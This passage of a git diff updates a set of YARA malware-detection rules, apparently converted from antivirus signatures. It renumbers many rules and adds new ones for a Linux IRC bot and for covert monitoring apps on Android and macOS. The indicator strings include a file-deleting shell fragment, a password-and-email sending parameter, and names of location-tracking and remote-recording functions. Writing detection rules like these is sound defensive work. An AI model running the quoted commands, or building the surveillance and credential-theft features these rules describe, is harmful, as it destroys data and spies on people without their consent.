meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,20 00 20 00 10 00 21 " @@ -376095,7 +398998,7 @@ rule _InfrastructureShared_28768{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*21298+(#a_01_2 & 1)*26988+(#a_01_4 & 1)*97+(#a_01_5 & 1)*108+(#a_01_6 & 1)*83+(#a_01_7 & 1)*114+(#a_01_8 & 1)*23589+(#a_01_9 & 1)*114+(#a_01_10 & 1)*50+(#a_01_13 & 1)*50+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1) >=32 } -rule _InfrastructureShared_28769{ +rule _InfrastructureShared_30526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 0d 00 21 " @@ -376113,7 +399016,7 @@ rule _InfrastructureShared_28769{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*109+(#a_01_2 & 1)*46+(#a_01_4 & 1)*55+(#a_01_6 & 1)*111+(#a_01_7 & 1)*111+(#a_01_8 & 1)*111+(#a_01_10 & 1)*99+(#a_01_12 & 1)*46) >=1 } -rule _InfrastructureShared_28770{ +rule _InfrastructureShared_30527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 08 00 21 " @@ -376129,7 +399032,7 @@ rule _InfrastructureShared_28770{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*111+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=4 } -rule _InfrastructureShared_28771{ +rule _InfrastructureShared_30528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 09 00 21 " @@ -376144,7 +399047,7 @@ rule _InfrastructureShared_28771{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*53+(#a_01_3 & 1)*67+(#a_01_5 & 1)*115+(#a_01_7 & 1)*112+(#a_01_8 & 1)*101) >=1 } -rule _InfrastructureShared_28772{ +rule _InfrastructureShared_30529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -376159,7 +399062,7 @@ rule _InfrastructureShared_28772{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*108+(#a_01_3 & 1)*98+(#a_01_6 & 1)*71+(#a_01_7 & 1)*65+(#a_01_8 & 1)*75) >=9 } -rule _InfrastructureShared_28773{ +rule _InfrastructureShared_30530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,18 00 18 00 18 00 21 " @@ -376188,7 +399091,7 @@ rule _InfrastructureShared_28773{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25970+(#a_01_2 & 1)*29797+(#a_01_3 & 1)*25970+(#a_01_5 & 1)*21279+(#a_01_6 & 1)*29301+(#a_01_7 & 1)*28532+(#a_01_8 & 1)*28018+(#a_01_9 & 1)*21599+(#a_01_10 & 1)*68+(#a_01_13 & 1)*101+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1) >=24 } -rule _InfrastructureShared_28774{ +rule _InfrastructureShared_30531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,18 00 18 00 18 00 21 " @@ -376217,7 +399120,7 @@ rule _InfrastructureShared_28774{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*97+(#a_01_3 & 1)*105+(#a_01_5 & 1)*101+(#a_01_6 & 1)*17765+(#a_01_7 & 1)*12355+(#a_01_8 & 1)*13379+(#a_01_9 & 1)*14149+(#a_01_10 & 1)*14392+(#a_01_11 & 1)*25701+(#a_01_14 & 1)*54+(#a_01_15 & 1)*12336+(#a_01_16 & 1)*14384+(#a_01_17 & 1)*3328+(#a_01_18 & 1)*11827+(#a_01_19 & 1)*11824+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1) >=24 } -rule _InfrastructureShared_28775{ +rule _InfrastructureShared_30532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 36 00 21 " @@ -376275,7 +399178,7 @@ rule _InfrastructureShared_28775{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*14391+(#a_01_2 & 1)*11830+(#a_01_3 & 1)*12590+(#a_01_4 & 1)*12590+(#a_01_6 & 1)*12814+(#a_01_7 & 1)*12846+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_40 & 1)*-19359+(#a_01_41 & 1)*16+(#a_01_42 & 1)*28265+(#a_01_43 & 1)*118+(#a_01_45 & 1)*111+(#a_01_46 & 1)*97+(#a_01_47 & 1)*100+(#a_01_49 & 1)*105+(#a_01_50 & 1)*109+(#a_01_51 & 1)*102+(#a_01_53 & 1)*105) >=1 } -rule _InfrastructureShared_28776{ +rule _InfrastructureShared_30533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,10 00 10 00 10 00 21 " @@ -376296,7 +399199,7 @@ rule _InfrastructureShared_28776{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*117+(#a_01_3 & 1)*92+(#a_01_5 & 1)*103+(#a_01_7 & 1)*101+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1) >=16 } -rule _InfrastructureShared_28777{ +rule _InfrastructureShared_30534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 0b 00 21 " @@ -376311,7 +399214,7 @@ rule _InfrastructureShared_28777{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*65+(#a_01_4 & 1)*111+(#a_01_6 & 1)*105+(#a_01_7 & 1)*111+(#a_01_9 & 1)*32) >=11 } -rule _InfrastructureShared_28778{ +rule _InfrastructureShared_30535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 0e 00 21 " @@ -376333,7 +399236,7 @@ rule _InfrastructureShared_28778{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*2+(#a_01_5 & 1)*2+(#a_01_6 & 1)*2+(#a_01_7 & 1)*2+(#a_01_8 & 1)*2+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*2+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1) >=2 } -rule _InfrastructureShared_28779{ +rule _InfrastructureShared_30536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 1e 00 21 " @@ -376360,7 +399263,7 @@ rule _InfrastructureShared_28779{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*78+(#a_01_3 & 1)*79+(#a_01_4 & 1)*25974+(#a_01_5 & 1)*65+(#a_01_6 & 1)*5632+(#a_01_9 & 1)*70+(#a_01_10 & 1)*79+(#a_01_12 & 1)*65+(#a_01_13 & 1)*69+(#a_01_15 & 1)*83+(#a_01_18 & 1)*70+(#a_01_19 & 1)*16675+(#a_01_21 & 1)*114+(#a_01_23 & 1)*100+(#a_01_25 & 1)*77+(#a_01_27 & 1)*32+(#a_01_29 & 1)*104) >=11 } -rule _InfrastructureShared_28780{ +rule _InfrastructureShared_30537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 07 00 21 " @@ -376373,7 +399276,7 @@ rule _InfrastructureShared_28780{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*114+(#a_01_4 & 1)*100+(#a_01_6 & 1)*77) >=3 } -rule _InfrastructureShared_28781{ +rule _InfrastructureShared_30538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -376392,7 +399295,7 @@ rule _InfrastructureShared_28781{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*16705+(#a_01_2 & 1)*28217+(#a_01_3 & 1)*16705+(#a_01_4 & 1)*26433+(#a_01_5 & 1)*17729+(#a_01_6 & 1)*16705+(#a_01_7 & 1)*26437+(#a_01_8 & 1)*16705+(#a_01_9 & 1)*19777) >=10 } -rule _InfrastructureShared_28782{ +rule _InfrastructureShared_30539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 2e 00 21 " @@ -376440,7 +399343,7 @@ rule _InfrastructureShared_28782{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26978+(#a_01_2 & 1)*25455+(#a_01_3 & 1)*27248+(#a_01_4 & 1)*27501+(#a_01_5 & 1)*27242+(#a_01_6 & 1)*28519+(#a_01_7 & 1)*28264+(#a_01_8 & 1)*26736+(#a_01_9 & 1)*28261+(#a_01_10 & 1)*26466+(#a_01_11 & 1)*25699+(#a_01_12 & 1)*25190+(#a_01_13 & 1)*28013+(#a_01_14 & 1)*25120+(#a_01_15 & 1)*26476+(#a_01_16 & 1)*25958+(#a_01_17 & 1)*28023+(#a_01_18 & 1)*27191+(#a_01_19 & 1)*25708+(#a_01_20 & 1)*26987+(#a_01_22 & 1)*27408+(#a_01_23 & 1)*25971+(#a_01_25 & 1)*29200+(#a_01_26 & 1)*25974+(#a_01_27 & 1)*4096+(#a_01_28 & 1)*27002+(#a_01_29 & 1)*12907+(#a_01_31 & 1)*26384+(#a_01_32 & 1)*27152+(#a_01_33 & 1)*30258+(#a_01_34 & 1)*25707+(#a_01_35 & 1)*25712+(#a_01_36 & 1)*29031+(#a_01_38 & 1)*29968+(#a_01_40 & 1)*20+(#a_01_41 & 1)*19529+(#a_01_43 & 1)*48+(#a_01_44 & 1)*48) >=2 } -rule _InfrastructureShared_28783{ +rule _InfrastructureShared_30540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 6e 00 21 " @@ -376548,7 +399451,7 @@ rule _InfrastructureShared_28783{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*25463+(#a_01_2 & 1)*28532+(#a_01_3 & 1)*25616+(#a_01_4 & 1)*29799+(#a_01_5 & 1)*27753+(#a_01_6 & 1)*29538+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_01_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_01_56 & 1)*1+(#a_01_57 & 1)*1+(#a_01_58 & 1)*1+(#a_01_59 & 1)*1+(#a_01_60 & 1)*1+(#a_01_61 & 1)*1+(#a_01_62 & 1)*1+(#a_01_63 & 1)*1+(#a_01_64 & 1)*1+(#a_01_65 & 1)*1+(#a_01_66 & 1)*1+(#a_01_67 & 1)*1+(#a_01_68 & 1)*1+(#a_01_69 & 1)*1+(#a_01_70 & 1)*1+(#a_01_71 & 1)*1+(#a_01_72 & 1)*1+(#a_01_73 & 1)*1+(#a_01_74 & 1)*1+(#a_01_75 & 1)*1+(#a_01_76 & 1)*1+(#a_01_77 & 1)*1+(#a_01_78 & 1)*1+(#a_01_79 & 1)*1+(#a_01_80 & 1)*0+(#a_01_81 & 1)*49+(#a_01_83 & 1)*49+(#a_01_84 & 1)*48+(#a_01_86 & 1)*48+(#a_01_88 & 1)*48+(#a_01_89 & 1)*48+(#a_01_90 & 1)*48+(#a_01_91 & 1)*48+(#a_01_93 & 1)*48+(#a_01_95 & 1)*49+(#a_01_97 & 1)*48+(#a_01_98 & 1)*49+(#a_01_100 & 1)*48+(#a_01_101 & 1)*48+(#a_01_103 & 1)*48+(#a_01_104 & 1)*49+(#a_01_106 & 1)*49+(#a_01_109 & 1)*49) >=1 } -rule _InfrastructureShared_28784{ +rule _InfrastructureShared_30541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 24 00 21 " diff --git a/Misleading/Linux/MechBot/Misleading_Linux_MechBot_DU_MTB.yar b/Misleading/Linux/MechBot/Misleading_Linux_MechBot_DU_MTB.yar new file mode 100644 index 0000000000..29245c4dda --- /dev/null +++ b/Misleading/Linux/MechBot/Misleading_Linux_MechBot_DU_MTB.yar @@ -0,0 +1,16 @@ + +rule Misleading_Linux_MechBot_DU_MTB{ + meta: + description = "Misleading:Linux/MechBot.DU!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 06 00 00 " + + strings : + $a_01_0 = {41 63 79 63 6d 65 63 68 20 42 6f 74 20 25 64 20 43 6f 6e 66 69 67 } //1 Acycmech Bot %d Config + $a_01_1 = {41 63 79 63 6d 65 63 68 20 74 72 69 67 67 65 72 64 20 62 79 20 61 64 6d 69 6e 20 28 68 65 6c 6c 6f 20 5a 65 74 6f 6f 29 } //1 Acycmech triggerd by admin (hello Zetoo) + $a_01_2 = {72 6d 20 2d 72 66 20 2e 2e 2f 6d 65 63 68 2e 73 65 74 3b 63 70 20 73 65 72 76 65 72 2e 74 78 74 20 2e 2e 2f 6d 65 63 68 2e 73 65 74 } //1 rm -rf ../mech.set;cp server.txt ../mech.set + $a_01_3 = {21 74 65 6c 6e 65 74 40 65 6e 65 72 67 79 6d 65 63 68 } //1 !telnet@energymech + $a_01_4 = {4b 69 6c 6c 69 6e 67 20 6d 65 63 68 3a 20 25 73 } //1 Killing mech: %s + $a_01_5 = {41 64 64 65 64 20 74 6f 20 6d 65 63 68 20 63 6f 72 65 } //1 Added to mech core + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/MonitoringTool/AndroidOS/CatWatchful/MonitoringTool_AndroidOS_CatWatchful_C_MTB.yar b/MonitoringTool/AndroidOS/CatWatchful/MonitoringTool_AndroidOS_CatWatchful_C_MTB.yar new file mode 100644 index 0000000000..8aaa40217d --- /dev/null +++ b/MonitoringTool/AndroidOS/CatWatchful/MonitoringTool_AndroidOS_CatWatchful_C_MTB.yar @@ -0,0 +1,17 @@ + +rule MonitoringTool_AndroidOS_CatWatchful_C_MTB{ + meta: + description = "MonitoringTool:AndroidOS/CatWatchful.C!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,09 00 09 00 07 00 00 " + + strings : + $a_01_0 = {4c 77 6f 73 63 2f 70 6c 61 79 2f 57 61 6b 65 55 70 } //2 Lwosc/play/WakeUp + $a_01_1 = {4c 77 6f 73 63 2f 70 6c 61 79 2f 64 65 74 65 63 74 6f 72 65 73 2f 44 65 74 65 63 74 61 4e 6f 74 69 66 69 63 61 63 69 6f 6e 65 73 } //2 Lwosc/play/detectores/DetectaNotificaciones + $a_01_2 = {4c 77 6f 73 63 2f 70 6c 61 79 2f 64 65 74 65 63 74 6f 72 65 73 2f 44 65 74 65 63 74 61 47 70 73 4f 6e 4f 66 66 } //2 Lwosc/play/detectores/DetectaGpsOnOff + $a_01_3 = {4c 77 6f 73 63 2f 70 6c 61 79 2f 64 6f 6d 69 6e 69 6f } //2 Lwosc/play/dominio + $a_01_4 = {67 75 61 72 64 61 72 4c 69 73 74 61 53 6d 73 } //1 guardarListaSms + $a_01_5 = {75 6c 74 69 6d 6f 54 69 6d 65 53 74 61 6d 70 53 6d 73 } //1 ultimoTimeStampSms + $a_01_6 = {67 65 74 55 73 72 50 61 73 73 77 6f 72 64 26 65 6d 61 69 6c 3d } //1 getUsrPassword&email= + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=9 + +} \ No newline at end of file diff --git a/MonitoringTool/AndroidOS/MobileTracker/MonitoringTool_AndroidOS_MobileTracker_DT_MTB.yar b/MonitoringTool/AndroidOS/MobileTracker/MonitoringTool_AndroidOS_MobileTracker_DT_MTB.yar new file mode 100644 index 0000000000..f870c8cd1c --- /dev/null +++ b/MonitoringTool/AndroidOS/MobileTracker/MonitoringTool_AndroidOS_MobileTracker_DT_MTB.yar @@ -0,0 +1,14 @@ + +rule MonitoringTool_AndroidOS_MobileTracker_DT_MTB{ + meta: + description = "MonitoringTool:AndroidOS/MobileTracker.DT!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {74 72 61 63 6b 53 6e 61 70 63 68 61 74 4e 6f 52 6f 6f 74 } //1 trackSnapchatNoRoot + $a_01_1 = {74 72 61 63 6b 59 6f 75 74 75 62 65 48 69 73 74 6f 72 79 } //1 trackYoutubeHistory + $a_01_2 = {74 72 61 63 6b 4c 6f 63 47 50 53 } //1 trackLocGPS + $a_01_3 = {6d 79 61 70 70 6d 6f 62 69 6c 65 32 30 31 39 } //1 myappmobile2019 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/MonitoringTool/AndroidOS/Phonespy/MonitoringTool_AndroidOS_PhoneSpy_I_MTB.yar b/MonitoringTool/AndroidOS/Phonespy/MonitoringTool_AndroidOS_PhoneSpy_I_MTB.yar new file mode 100644 index 0000000000..59896c3fa5 --- /dev/null +++ b/MonitoringTool/AndroidOS/Phonespy/MonitoringTool_AndroidOS_PhoneSpy_I_MTB.yar @@ -0,0 +1,15 @@ + +rule MonitoringTool_AndroidOS_PhoneSpy_I_MTB{ + meta: + description = "MonitoringTool:AndroidOS/PhoneSpy.I!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {4c 63 6f 6d 2f 73 70 61 74 72 61 6b 61 70 70 70 2f 61 6c 61 72 6d 2f 61 63 74 69 76 69 74 69 65 73 2f 50 68 6f 6e 65 41 6c 72 65 61 64 79 52 65 67 69 73 74 65 72 65 64 } //1 Lcom/spatrakappp/alarm/activities/PhoneAlreadyRegistered + $a_01_1 = {4c 63 6f 6d 2f 73 70 61 74 72 61 6b 61 70 70 70 2f 61 6c 61 72 6d 2f 61 63 74 69 76 69 74 69 65 73 2f 45 6e 61 62 6c 65 4e 6f 74 69 66 69 63 61 74 69 6f 6e 41 63 63 65 73 73 } //1 Lcom/spatrakappp/alarm/activities/EnableNotificationAccess + $a_01_2 = {4c 63 6f 6d 2f 73 70 61 74 72 61 6b 61 70 70 70 2f 61 6c 61 72 6d 2f 73 65 72 76 69 63 65 73 2f 52 65 6d 6f 74 65 52 65 63 6f 72 64 69 6e 67 53 65 72 76 69 63 65 } //1 Lcom/spatrakappp/alarm/services/RemoteRecordingService + $a_01_3 = {4c 63 6f 6d 2f 73 70 61 74 72 61 6b 61 70 70 70 2f 61 6c 61 72 6d 2f 73 65 72 76 69 63 65 73 2f 54 72 61 63 6b 4c 6f 63 61 74 69 6f 6e } //1 Lcom/spatrakappp/alarm/services/TrackLocation + $a_01_4 = {4c 63 6f 6d 2f 73 70 61 74 72 61 6b 61 70 70 70 2f 61 6c 61 72 6d 2f 53 65 72 76 65 72 43 6f 6d 6d 75 6e 69 63 61 74 65 } //1 Lcom/spatrakappp/alarm/ServerCommunicate + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/MonitoringTool/MacOS/Refog/MonitoringTool_MacOS_Refog_B_MTB.yar b/MonitoringTool/MacOS/Refog/MonitoringTool_MacOS_Refog_B_MTB.yar new file mode 100644 index 0000000000..bdf67d3d0e --- /dev/null +++ b/MonitoringTool/MacOS/Refog/MonitoringTool_MacOS_Refog_B_MTB.yar @@ -0,0 +1,15 @@ + +rule MonitoringTool_MacOS_Refog_B_MTB{ + meta: + description = "MonitoringTool:MacOS/Refog.B!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {63 6f 6d 2e 68 6f 76 65 72 77 61 74 63 68 2e 6d 6f 6e 69 74 6f 72 } //1 com.hoverwatch.monitor + $a_01_1 = {4d 41 43 68 61 74 47 72 61 62 62 65 72 } //1 MAChatGrabber + $a_01_2 = {69 6e 73 74 61 6c 6c 65 64 4d 6f 6e 69 74 6f 72 55 52 4c } //1 installedMonitorURL + $a_01_3 = {63 6f 6d 2e 68 77 2e 68 77 69 6e 73 74 61 6c 6c 65 72 } //1 com.hw.hwinstaller + $a_01_4 = {6b 54 43 43 53 65 72 76 69 63 65 53 63 72 65 65 6e 43 61 70 74 75 72 65 } //1 kTCCServiceScreenCapture + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/MonitoringTool/MacOS/Spyrix/MonitoringTool_MacOS_Spyrix_D_MTB.yar b/MonitoringTool/MacOS/Spyrix/MonitoringTool_MacOS_Spyrix_D_MTB.yar new file mode 100644 index 0000000000..1ce1ae46fe --- /dev/null +++ b/MonitoringTool/MacOS/Spyrix/MonitoringTool_MacOS_Spyrix_D_MTB.yar @@ -0,0 +1,15 @@ + +rule MonitoringTool_MacOS_Spyrix_D_MTB{ + meta: + description = "MonitoringTool:MacOS/Spyrix.D!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {63 6f 6d 2e 73 70 79 72 69 78 2e 65 6d 70 2d 68 65 6c 70 65 72 } //1 com.spyrix.emp-helper + $a_01_1 = {67 72 6f 75 70 2e 63 6f 6d 2e 73 70 79 72 69 78 2e 65 6d 70 2e 73 68 61 72 65 } //1 group.com.spyrix.emp.share + $a_01_2 = {2f 4c 69 62 72 61 72 79 2f 65 6d 70 2f 53 70 79 72 69 78 2e 61 70 70 } //1 /Library/emp/Spyrix.app + $a_01_3 = {64 61 73 68 62 6f 61 72 64 2e 73 70 79 72 69 78 2e 63 6f 6d 2f 70 72 67 2d 61 63 74 69 6f 6e 73 } //1 dashboard.spyrix.com/prg-actions + $a_01_4 = {24 73 31 33 53 70 79 72 69 78 5f 48 65 6c 70 65 72 32 33 5f 41 43 52 65 73 6f 75 72 63 65 49 6e 69 74 50 72 6f 74 6f 63 6f 6c 50 } //1 $s13Spyrix_Helper23_ACResourceInitProtocolP + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/PseudoThreat_c0000e91/_PseudoThreat_c0000e91.yar b/PseudoThreat_c0000d85/_PseudoThreat_c0000d85.yar similarity index 71% rename from PseudoThreat_c0000e91/_PseudoThreat_c0000e91.yar rename to PseudoThreat_c0000d85/_PseudoThreat_c0000d85.yar index 3cae067d0b..88a443b093 100644 --- a/PseudoThreat_c0000e91/_PseudoThreat_c0000e91.yar +++ b/PseudoThreat_c0000d85/_PseudoThreat_c0000d85.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0000e91{ +rule _PseudoThreat_c0000d85{ meta: - description = "!PseudoThreat_c0000e91,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + description = "!PseudoThreat_c0000d85,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " strings : $a_02_0 = {c1 ea 05 89 4c 24 ?? 89 54 24 ?? 8b 84 24 ?? ?? ?? ?? 01 44 24 ?? 8d 04 33 31 44 24 ?? 81 3d ?? ?? ?? ?? f5 03 00 00 c7 05 ?? ?? ?? ?? 36 06 ea e9 75 } //1 diff --git a/PseudoThreat_c0000ec1/_PseudoThreat_c0000ec1.yar b/PseudoThreat_c0000daa/_PseudoThreat_c0000daa.yar similarity index 71% rename from PseudoThreat_c0000ec1/_PseudoThreat_c0000ec1.yar rename to PseudoThreat_c0000daa/_PseudoThreat_c0000daa.yar index a2a9fe224e..f82b849d1e 100644 --- a/PseudoThreat_c0000ec1/_PseudoThreat_c0000ec1.yar +++ b/PseudoThreat_c0000daa/_PseudoThreat_c0000daa.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0000ec1{ +rule _PseudoThreat_c0000daa{ meta: - description = "!PseudoThreat_c0000ec1,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + description = "!PseudoThreat_c0000daa,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " strings : $a_02_0 = {c1 e9 05 89 44 24 ?? 89 4c 24 ?? 8b 84 24 ?? ?? ?? ?? 01 44 24 ?? 8d 14 2e 31 54 24 ?? 81 3d ?? ?? ?? ?? f5 03 00 00 c7 05 ?? ?? ?? ?? 36 06 ea e9 75 } //1 diff --git a/PseudoThreat_c0000ed7/_PseudoThreat_c0000ed7.yar b/PseudoThreat_c0000dbc/_PseudoThreat_c0000dbc.yar similarity index 74% rename from PseudoThreat_c0000ed7/_PseudoThreat_c0000ed7.yar rename to PseudoThreat_c0000dbc/_PseudoThreat_c0000dbc.yar index f8d7cfa25a..5e79c8cafe 100644 --- a/PseudoThreat_c0000ed7/_PseudoThreat_c0000ed7.yar +++ b/PseudoThreat_c0000dbc/_PseudoThreat_c0000dbc.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0000ed7{ +rule _PseudoThreat_c0000dbc{ meta: - description = "!PseudoThreat_c0000ed7,SIGNATURE_TYPE_ARHSTR_EXT,01 00 01 00 01 00 00 " + description = "!PseudoThreat_c0000dbc,SIGNATURE_TYPE_ARHSTR_EXT,01 00 01 00 01 00 00 " strings : $a_03_0 = {55 8b ec 83 ec ?? 53 (33 c9 56 57 89 4d|56 57 c7 45) [0-20] 99 f7 7d 0c 8b ?? ?? 90 03 01 01 89 8b ?? ?? 90 03 01 01 89 8b [0-0a] 88 45 ff 60 33 c0 8a 45 ff 33 c9 8b 4d f4 d2 c8 88 45 ff 61 8b } //1 diff --git a/PseudoThreat_c0000ed8/_PseudoThreat_c0000ed8.yar b/PseudoThreat_c0000dbd/_PseudoThreat_c0000dbd.yar similarity index 68% rename from PseudoThreat_c0000ed8/_PseudoThreat_c0000ed8.yar rename to PseudoThreat_c0000dbd/_PseudoThreat_c0000dbd.yar index 0dbc4e9524..f95f168b1d 100644 --- a/PseudoThreat_c0000ed8/_PseudoThreat_c0000ed8.yar +++ b/PseudoThreat_c0000dbd/_PseudoThreat_c0000dbd.yar @@ -1,7 +1,7 @@ -rule _PseudoThreat_c0000ed8{ +rule _PseudoThreat_c0000dbd{ meta: - description = "!PseudoThreat_c0000ed8,SIGNATURE_TYPE_ARHSTR_EXT,01 00 01 00 01 00 00 " + description = "!PseudoThreat_c0000dbd,SIGNATURE_TYPE_ARHSTR_EXT,01 00 01 00 01 00 00 " strings : $a_03_0 = {55 8b ec b8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 53 56 57 60 32 db 74 03 83 c4 50 61 60 e8 00 00 00 00 d1 c0 80 04 24 07 c3 } //1 diff --git a/PseudoThreat_c0000ed9/_PseudoThreat_c0000ed9.yar b/PseudoThreat_c0000dbe/_PseudoThreat_c0000dbe.yar similarity index 76% rename from PseudoThreat_c0000ed9/_PseudoThreat_c0000ed9.yar rename to PseudoThreat_c0000dbe/_PseudoThreat_c0000dbe.yar index 9933dd2bfd..eee4aac38f 100644 --- 